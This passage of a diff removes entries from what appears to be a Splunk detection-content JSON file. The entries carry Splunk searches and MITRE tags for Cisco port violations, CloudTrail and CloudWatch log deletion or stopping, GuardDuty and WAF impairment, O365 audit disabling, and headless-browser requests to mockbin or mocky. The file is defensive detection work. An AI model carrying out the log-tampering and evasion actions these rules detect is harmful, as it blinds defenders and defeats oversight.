"APT28" - ] - }, - { - "mitre_attack_id": "T1557", - "mitre_attack_technique": "Adversary-in-the-Middle", - "mitre_attack_tactics": [ - "Collection", - "Credential Access" - ], - "mitre_attack_groups": [ - "Kimsuky" - ] - }, - { - "mitre_attack_id": "T1557.002", - "mitre_attack_technique": "ARP Cache Poisoning", - "mitre_attack_tactics": [ - "Collection", - "Credential Access" - ], - "mitre_attack_groups": [ - "Cleaver", - "LuminousMoth" - ] - } - ] - } - }, - { - "name": "Detect Port Security Violation", - "description": "The following analytic detects port security violations on Cisco switches. It leverages logs from Cisco network devices, specifically looking for events with mnemonics indicating port security violations. This activity is significant because it indicates an unauthorized device attempting to connect to a secured port, potentially bypassing network access controls. If confirmed malicious, this could allow an attacker to gain unauthorized access to the network, leading to data exfiltration, network disruption, or further lateral movement within the environment.", - "search": "`cisco_networks` (facility=\"PM\" mnemonic=\"ERR_DISABLE\" disable_cause=\"psecure-violation\") OR (facility=\"PORT_SECURITY\" mnemonic=\"PSECURE_VIOLATION\" OR mnemonic=\"PSECURE_VIOLATION_VLAN\") | eval src_interface=src_int_prefix_long+src_int_suffix | stats min(_time) AS firstTime max(_time) AS lastTime values(disable_cause) AS disable_cause values(src_mac) AS src_mac values(src_vlan) AS src_vlan values(action) AS action count by host src_interface | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `detect_port_security_violation_filter`", - "tags": { - "analytic_story": [ - "Router and Infrastructure Security" - ], - "asset_type": "Infrastructure", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Actions on Objectives", - "Delivery", - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Other", - "role": [ - "Other" - ] - } - ], - "message": "tbd", - "risk_score": 25, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1200", - "mitre_attack_technique": "Hardware Additions", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "DarkVishnya" - ] - }, - { - "mitre_attack_id": "T1498", - "mitre_attack_technique": "Network Denial of Service", - "mitre_attack_tactics": [ - "Impact" - ], - "mitre_attack_groups": [ - "APT28" - ] - }, - { - "mitre_attack_id": "T1557", - "mitre_attack_technique": "Adversary-in-the-Middle", - "mitre_attack_tactics": [ - "Collection", - "Credential Access" - ], - "mitre_attack_groups": [ - "Kimsuky" - ] - }, - { - "mitre_attack_id": "T1557.002", - "mitre_attack_technique": "ARP Cache Poisoning", - "mitre_attack_tactics": [ - "Collection", - "Credential Access" - ], - "mitre_attack_groups": [ - "Cleaver", - "LuminousMoth" - ] - } - ] - } } ], "external_reference": [], @@ -618149,743 +415309,6 @@ "https://aws.amazon.com", "https://azure.microsoft.com/en-us/services/" ] - }, - { - "name": "ASL AWS Defense Evasion Delete Cloudtrail", - "description": "The following analytic detects AWS `DeleteTrail` events within CloudTrail logs. It leverages Amazon Security Lake logs parsed in the Open Cybersecurity Schema Framework (OCSF) format to identify when a CloudTrail is deleted. This activity is significant because adversaries may delete CloudTrail logs to evade detection and operate with stealth. If confirmed malicious, this action could allow attackers to cover their tracks, making it difficult to trace their activities and investigate other potential compromises within the AWS environment.", - "search": "`amazon_security_lake` api.operation=DeleteTrail | fillnull | stats count min(_time) as firstTime max(_time) as lastTime by api.operation actor.user.account_uid actor.user.uid http_request.user_agent src_endpoint.ip cloud.region | rename actor.user.uid as user, src_endpoint.ip as src_ip, cloud.region as region, http_request.user_agent as user_agent, actor.user.account_uid as aws_account_id | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)`| `asl_aws_defense_evasion_delete_cloudtrail_filter`", - "tags": { - "analytic_story": [ - "AWS Defense Evasion" - ], - "asset_type": "AWS Account", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "User $user$ has deleted a CloudTrail logging for account id $aws_account_id$", - "risk_score": 90, - "security_domain": "threat", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.008", - "mitre_attack_technique": "Disable or Modify Cloud Logs", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } - }, - { - "name": "ASL AWS Defense Evasion Delete CloudWatch Log Group", - "description": "The following analytic detects the deletion of CloudWatch log groups in AWS, identified through `DeleteLogGroup` events in CloudTrail logs. This method leverages Amazon Security Lake logs parsed in the OCSF format. The activity is significant because attackers may delete log groups to evade detection and disrupt logging capabilities, hindering incident response efforts. If confirmed malicious, this action could allow attackers to cover their tracks, making it difficult to trace their activities and potentially leading to undetected data breaches or further malicious actions within the compromised AWS environment.", - "search": "`amazon_security_lake` api.operation=DeleteLogGroup | fillnull | stats count min(_time) as firstTime max(_time) as lastTime by api.operation actor.user.account_uid actor.user.uid http_request.user_agent src_endpoint.ip cloud.region | rename actor.user.uid as user, src_endpoint.ip as src_ip, cloud.region as region, http_request.user_agent as user_agent, actor.user.account_uid as aws_account_id | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)`| `asl_aws_defense_evasion_delete_cloudwatch_log_group_filter`", - "tags": { - "analytic_story": [ - "AWS Defense Evasion" - ], - "asset_type": "AWS Account", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "User $user$ has deleted a CloudWatch logging group for account id $aws_account_id$", - "risk_score": 90, - "security_domain": "threat", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1562.008", - "mitre_attack_technique": "Disable or Modify Cloud Logs", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT29" - ] - } - ] - } - }, - { - "name": "ASL AWS Defense Evasion Impair Security Services", - "description": "The following analytic detects the deletion of critical AWS Security Services configurations, such as CloudWatch alarms, GuardDuty detectors, and Web Application Firewall rules. It leverages Amazon Security Lake logs to identify specific API calls like \"DeleteLogStream\" and \"DeleteDetector.\" This activity is significant because adversaries often use these actions to disable security monitoring and evade detection. If confirmed malicious, this could allow attackers to operate undetected, leading to potential data breaches, unauthorized access, and prolonged persistence within the AWS environment.", - "search": "`amazon_security_lake` api.operation IN (\"DeleteLogStream\",\"DeleteDetector\",\"DeleteIPSet\",\"DeleteWebACL\",\"DeleteRule\",\"DeleteRuleGroup\",\"DeleteLoggingConfiguration\",\"DeleteAlarms\") | fillnull | stats count min(_time) as firstTime max(_time) as lastTime by api.operation actor.user.account_uid actor.user.uid http_request.user_agent src_endpoint.ip cloud.region | rename actor.user.uid as user, src_endpoint.ip as src_ip, cloud.region as region, http_request.user_agent as user_agent, actor.user.account_uid as aws_account_id | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `asl_aws_defense_evasion_impair_security_services_filter`", - "tags": { - "analytic_story": [ - "AWS Defense Evasion" - ], - "asset_type": "AWS Account", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "User $user$ has made potentially risky api calls $api.operation$ that could impair AWS security services for account id $aws_account_id$", - "risk_score": 42, - "security_domain": "threat", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.008", - "mitre_attack_technique": "Disable or Modify Cloud Logs", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } - }, - { - "name": "ASL AWS Defense Evasion Stop Logging Cloudtrail", - "description": "The following analytic detects `StopLogging` events within AWS CloudTrail logs, a critical action that adversaries may use to evade detection. By halting the logging of their malicious activities, attackers aim to operate undetected within a compromised AWS environment. This detection is achieved by monitoring for specific CloudTrail log entries that indicate the cessation of logging activities. Identifying such behavior is crucial for a Security Operations Center (SOC), as it signals an attempt to undermine the integrity of logging mechanisms, potentially allowing malicious activities to proceed without observation. The impact of this evasion tactic is significant, as it can severely hamper incident response and forensic investigations by obscuring the attacker's actions.", - "search": "`amazon_security_lake` api.operation=StopLogging | fillnull | stats count min(_time) as firstTime max(_time) as lastTime by api.operation actor.user.account_uid actor.user.uid http_request.user_agent src_endpoint.ip cloud.region | rename actor.user.uid as user, src_endpoint.ip as src_ip, cloud.region as region, http_request.user_agent as user_agent, actor.user.account_uid as aws_account_id | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `asl_aws_defense_evasion_stop_logging_cloudtrail_filter`", - "tags": { - "analytic_story": [ - "AWS Defense Evasion" - ], - "asset_type": "AWS Account", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "User $user$ has stopped Cloudtrail logging for account id $aws_account_id$ from IP $src_ip$", - "risk_score": 90, - "security_domain": "threat", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.008", - "mitre_attack_technique": "Disable or Modify Cloud Logs", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } - }, - { - "name": "ASL AWS Defense Evasion Update Cloudtrail", - "description": "The following analytic detects `UpdateTrail` events within AWS CloudTrail logs, aiming to identify attempts by attackers to evade detection by altering logging configurations. By updating CloudTrail settings with incorrect parameters, such as changing multi-regional logging to a single region, attackers can impair the logging of their activities across other regions. This behavior is crucial for Security Operations Centers (SOCs) to identify, as it indicates an adversary's intent to operate undetected within a compromised AWS environment. The impact of such evasion tactics is significant, potentially allowing malicious activities to proceed without being logged, thereby hindering incident response and forensic investigations.", - "search": "`amazon_security_lake` api.operation=UpdateTrail | fillnull | stats count min(_time) as firstTime max(_time) as lastTime by api.operation actor.user.account_uid actor.user.uid http_request.user_agent src_endpoint.ip cloud.region | rename actor.user.uid as user, src_endpoint.ip as src_ip, cloud.region as region, http_request.user_agent as user_agent, actor.user.account_uid as aws_account_id | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `asl_aws_defense_evasion_update_cloudtrail_filter`", - "tags": { - "analytic_story": [ - "AWS Defense Evasion" - ], - "asset_type": "AWS Account", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "User $user$ has updated a cloudtrail logging for account id $aws_account_id$ from IP $src_ip$", - "risk_score": 90, - "security_domain": "threat", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1562.008", - "mitre_attack_technique": "Disable or Modify Cloud Logs", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT29" - ] - } - ] - } - }, - { - "name": "AWS Defense Evasion Delete Cloudtrail", - "description": "The following analytic detects the deletion of AWS CloudTrail logs by identifying `DeleteTrail` events within CloudTrail logs. This detection leverages CloudTrail data to monitor for successful `DeleteTrail` actions, excluding those initiated from the AWS console. This activity is significant because adversaries may delete CloudTrail logs to evade detection and operate stealthily within the compromised environment. If confirmed malicious, this action could allow attackers to cover their tracks, making it difficult to trace their activities and potentially leading to prolonged unauthorized access and further exploitation.", - "search": "`cloudtrail` eventName = DeleteTrail eventSource = cloudtrail.amazonaws.com userAgent !=console.amazonaws.com errorCode = success| stats count min(_time) as firstTime max(_time) as lastTime values(requestParameters.name) as deleted_cloudtrail_name by src region eventName userAgent user_arn aws_account_id | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)`| `aws_defense_evasion_delete_cloudtrail_filter`", - "tags": { - "analytic_story": [ - "AWS Defense Evasion" - ], - "asset_type": "AWS Account", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "src", - "type": "IP Address", - "role": [ - "Attacker" - ] - }, - { - "name": "user_arn", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "User $user_arn$ has delete a CloudTrail logging for account id $aws_account_id$ from IP $src$", - "risk_score": 90, - "security_domain": "threat", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.008", - "mitre_attack_technique": "Disable or Modify Cloud Logs", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } - }, - { - "name": "AWS Defense Evasion Delete CloudWatch Log Group", - "description": "The following analytic detects the deletion of CloudWatch log groups in AWS, identified through `DeleteLogGroup` events in CloudTrail logs. This detection leverages CloudTrail data to monitor for successful log group deletions, excluding console-based actions. This activity is significant as it indicates potential attempts to evade logging and monitoring, which is crucial for maintaining visibility into AWS activities. If confirmed malicious, this could allow attackers to hide their tracks, making it difficult to detect further malicious actions or investigate incidents within the compromised AWS environment.", - "search": "`cloudtrail` eventName = DeleteLogGroup eventSource = logs.amazonaws.com userAgent !=console.amazonaws.com errorCode = success| stats count min(_time) as firstTime max(_time) as lastTime values(requestParameters.logGroupName) as log_group_name by src region eventName userAgent user_arn aws_account_id | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)`| `aws_defense_evasion_delete_cloudwatch_log_group_filter`", - "tags": { - "analytic_story": [ - "AWS Defense Evasion" - ], - "asset_type": "AWS Account", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "src", - "type": "IP Address", - "role": [ - "Attacker" - ] - }, - { - "name": "user_arn", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "User $user_arn$ has deleted a CloudWatch logging group for account id $aws_account_id$ from IP $src$", - "risk_score": 90, - "security_domain": "threat", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1562.008", - "mitre_attack_technique": "Disable or Modify Cloud Logs", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT29" - ] - } - ] - } - }, - { - "name": "AWS Defense Evasion Impair Security Services", - "description": "The following analytic detects attempts to delete critical AWS security service configurations, such as CloudWatch alarms, GuardDuty detectors, and Web Application Firewall rules. It leverages CloudTrail logs to identify specific API calls like \"DeleteLogStream\" and \"DeleteDetector.\" This activity is significant because it indicates potential efforts to disable security monitoring and evade detection. If confirmed malicious, this could allow attackers to operate undetected, escalate privileges, or exfiltrate data without triggering security alerts, severely compromising the security posture of the AWS environment.", - "search": "`cloudtrail` eventName IN (\"DeleteLogStream\",\"DeleteDetector\",\"DeleteIPSet\",\"DeleteWebACL\",\"DeleteRule\",\"DeleteRuleGroup\",\"DeleteLoggingConfiguration\",\"DeleteAlarms\") | stats count min(_time) as firstTime max(_time) as lastTime values(eventName) as eventName values(eventSource) as eventSource values(requestParameters.*) as * by src region user_arn aws_account_id user_type user_agent errorCode| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`| `aws_defense_evasion_impair_security_services_filter`", - "tags": { - "analytic_story": [ - "AWS Defense Evasion" - ], - "asset_type": "AWS Account", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "src", - "type": "IP Address", - "role": [ - "Attacker" - ] - }, - { - "name": "user_arn", - "type": "User", - "role": [ - "Attacker" - ] - } - ], - "message": "User $user_arn$ has made potentially risky api calls $eventName$ that could impair AWS security services for account id $aws_account_id$", - "risk_score": 42, - "security_domain": "threat", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.008", - "mitre_attack_technique": "Disable or Modify Cloud Logs", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } - }, - { - "name": "AWS Defense Evasion PutBucketLifecycle", - "description": "The following analytic detects `PutBucketLifecycle` events in AWS CloudTrail logs where a user sets a lifecycle rule for an S3 bucket with an expiration period of fewer than three days. This detection leverages CloudTrail logs to identify suspicious lifecycle configurations. This activity is significant because attackers may use it to delete CloudTrail logs quickly, thereby evading detection and impairing forensic investigations. If confirmed malicious, this could allow attackers to cover their tracks, making it difficult to trace their actions and respond to the breach effectively.", - "search": "`cloudtrail` eventName=PutBucketLifecycle user_type=IAMUser errorCode=success | spath path=requestParameters{}.LifecycleConfiguration{}.Rule{}.Expiration{}.Days output=expiration_days | spath path=requestParameters{}.bucketName output=bucket_name | stats count min(_time) as firstTime max(_time) as lastTime by src region eventName userAgent user_arn aws_account_id expiration_days bucket_name user_type| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | where expiration_days < 3 | `aws_defense_evasion_putbucketlifecycle_filter`", - "tags": { - "analytic_story": [ - "AWS Defense Evasion" - ], - "asset_type": "AWS Account", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "src", - "type": "IP Address", - "role": [ - "Attacker" - ] - }, - { - "name": "user_arn", - "type": "User", - "role": [ - "Attacker" - ] - } - ], - "message": "User $user_arn$ has created a new rule to on an S3 bucket $bucket_name$ with short expiration days", - "risk_score": 20, - "security_domain": "threat", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.008", - "mitre_attack_technique": "Disable or Modify Cloud Logs", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } - }, - { - "name": "AWS Defense Evasion Stop Logging Cloudtrail", - "description": "The following analytic detects `StopLogging` events in AWS CloudTrail logs. It leverages CloudTrail event data to identify when logging is intentionally stopped, excluding console-based actions and focusing on successful attempts. This activity is significant because adversaries may stop logging to evade detection and operate stealthily within the compromised environment. If confirmed malicious, this action could allow attackers to perform further activities without being logged, hindering incident response and forensic investigations, and potentially leading to unauthorized access or data exfiltration.", - "search": "`cloudtrail` eventName = StopLogging eventSource = cloudtrail.amazonaws.com userAgent !=console.amazonaws.com errorCode = success| stats count min(_time) as firstTime max(_time) as lastTime values(requestParameters.name) as stopped_cloudtrail_name by src region eventName userAgent user_arn aws_account_id | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `aws_defense_evasion_stop_logging_cloudtrail_filter`", - "tags": { - "analytic_story": [ - "AWS Defense Evasion" - ], - "asset_type": "AWS Account", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "src", - "type": "IP Address", - "role": [ - "Attacker" - ] - }, - { - "name": "user_arn", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "User $user_arn$ has stopped Cloudtrail logging for account id $aws_account_id$ from IP $src$", - "risk_score": 90, - "security_domain": "threat", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.008", - "mitre_attack_technique": "Disable or Modify Cloud Logs", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } - }, - { - "name": "AWS Defense Evasion Update Cloudtrail", - "description": "The following analytic detects `UpdateTrail` events in AWS CloudTrail logs. It identifies attempts to modify CloudTrail settings, potentially to evade logging. The detection leverages CloudTrail logs, focusing on `UpdateTrail` events where the user agent is not the AWS console and the operation is successful. This activity is significant because altering CloudTrail settings can disable or limit logging, hindering visibility into AWS account activities. If confirmed malicious, this could allow attackers to operate undetected, compromising the integrity and security of the AWS environment.", - "search": "`cloudtrail` eventName = UpdateTrail eventSource = cloudtrail.amazonaws.com userAgent !=console.amazonaws.com errorCode = success| stats count min(_time) as firstTime max(_time) as lastTime values(requestParameters.name) as cloudtrail_name by src region eventName userAgent user_arn aws_account_id | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)`| `aws_defense_evasion_update_cloudtrail_filter`", - "tags": { - "analytic_story": [ - "AWS Defense Evasion" - ], - "asset_type": "AWS Account", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "src", - "type": "IP Address", - "role": [ - "Attacker" - ] - }, - { - "name": "user_arn", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "User $user_arn$ has updated a cloudtrail logging for account id $aws_account_id$ from IP $src$", - "risk_score": 90, - "security_domain": "threat", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1562.008", - "mitre_attack_technique": "Disable or Modify Cloud Logs", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT29" - ] - } - ] - } - }, - { - "name": "O365 Advanced Audit Disabled", - "description": "The following analytic detects instances where the O365 advanced audit is disabled for a specific user within the Office 365 tenant. It uses O365 audit logs, focusing on events related to audit license changes in AzureActiveDirectory workloads. This activity is significant because the O365 advanced audit provides critical logging and insights into user and administrator activities. Disabling it can blind security teams to potential malicious actions. If confirmed malicious, attackers could operate within the user's mailbox or account with reduced risk of detection, leading to unauthorized data access, data exfiltration, or account compromise.", - "search": "`o365_management_activity` Operation=\"Change user license.\" | eval property_name = mvindex ('ExtendedProperties{}.Name', 1) | search property_name = \"extendedAuditEventCategory\" | eval additionalDetails = mvindex('ExtendedProperties{}.Value',0) | eval split_value=split(additionalDetails, \"NewValue\") | eval possible_plan=mvindex(split_value, 1) | rex field=\"possible_plan\" \"DisabledPlans=\\[(?P[^\\]]+)\\]\" | search DisabledPlans IN (\"*M365_ADVANCED_AUDITING*\") | stats min(_time) as firstTime max(_time) as lastTime by Operation user object DisabledPlans | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `o365_advanced_audit_disabled_filter`", - "tags": { - "analytic_story": [ - "Office 365 Persistence Mechanisms" - ], - "asset_type": "O365 Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Advanced auditing for user $object$ was disabled by $user$", - "risk_score": 32, - "security_domain": "identity", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1562.008", - "mitre_attack_technique": "Disable or Modify Cloud Logs", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT29" - ] - } - ] - } } ], "external_reference": [ @@ -620079,209 +416502,6 @@ "https://docs.microsoft.com/en-us/windows/win32/fileio/file-streams", "https://docs.microsoft.com/en-us/troubleshoot/windows-client/backup-and-storage/fat-hpfs-and-ntfs-file-systems" ] - }, - { - "name": "Headless Browser Mockbin or Mocky Request", - "description": "The following analytic detects headless browser activity accessing mockbin.org or mocky.io. It identifies processes with the \"--headless\" and \"--disable-gpu\" command line arguments, along with references to mockbin.org or mocky.io. This behavior is significant as headless browsers are often used for automated tasks, including malicious activities like web scraping or automated attacks. If confirmed malicious, this activity could indicate an attempt to bypass traditional browser security measures, potentially leading to data exfiltration or further exploitation of web applications.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process=\"*--headless*\" AND Processes.process=\"*--disable-gpu*\" AND (Processes.process=\"*mockbin.org/*\" OR Processes.process=\"*mocky.io/*\")) by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `headless_browser_mockbin_or_mocky_request_filter`", - "tags": { - "analytic_story": [ - "Forest Blizzard" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Headless browser activity accessing mockbin.org or mocky.io detected on $dest$ by $user$.", - "risk_score": 56, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1564.003", - "mitre_attack_technique": "Hidden Window", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT3", - "APT32", - "CopyKittens", - "DarkHydrus", - "Deep Panda", - "Gamaredon Group", - "Gorgon Group", - "Higaisa", - "Kimsuky", - "Magic Hound", - "Nomadic Octopus", - "ToddyCat" - ] - } - ] - } - }, - { - "name": "Headless Browser Usage", - "description": "The following analytic detects the usage of headless browsers within an organization. It identifies processes containing the \"--headless\" and \"--disable-gpu\" command line arguments, which are indicative of headless browsing. This detection leverages data from the Endpoint.Processes datamodel to identify such processes. Monitoring headless browser usage is significant as these tools can be exploited by adversaries for malicious activities like web scraping, automated testing, and undetected web interactions. If confirmed malicious, this activity could lead to unauthorized data extraction, automated attacks, or other covert operations on web applications.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process=\"*--headless*\" AND Processes.process=\"*--disable-gpu*\") by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`| `headless_browser_usage_filter`", - "tags": { - "analytic_story": [ - "Forest Blizzard" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Behavior related to headless browser usage detected on $dest$ by $user$.", - "risk_score": 15, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1564.003", - "mitre_attack_technique": "Hidden Window", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT3", - "APT32", - "CopyKittens", - "DarkHydrus", - "Deep Panda", - "Gamaredon Group", - "Gorgon Group", - "Higaisa", - "Kimsuky", - "Magic Hound", - "Nomadic Octopus", - "ToddyCat" - ] - } - ] - } - }, - { - "name": "Windows ConHost with Headless Argument", - "description": "The following analytic detects the unusual invocation of the Windows Console Host process (conhost.exe) with the undocumented --headless parameter. This detection leverages Endpoint Detection and Response (EDR) telemetry, specifically monitoring for command-line executions where conhost.exe is executed with the --headless argument. This activity is significant for a SOC as it is not commonly used in legitimate operations and may indicate an attacker's attempt to execute commands stealthily. If confirmed malicious, this behavior could lead to persistence, lateral movement, or other malicious activities, potentially resulting in data exfiltration or system compromise.", - "search": "| tstats `security_content_summariesonly` count 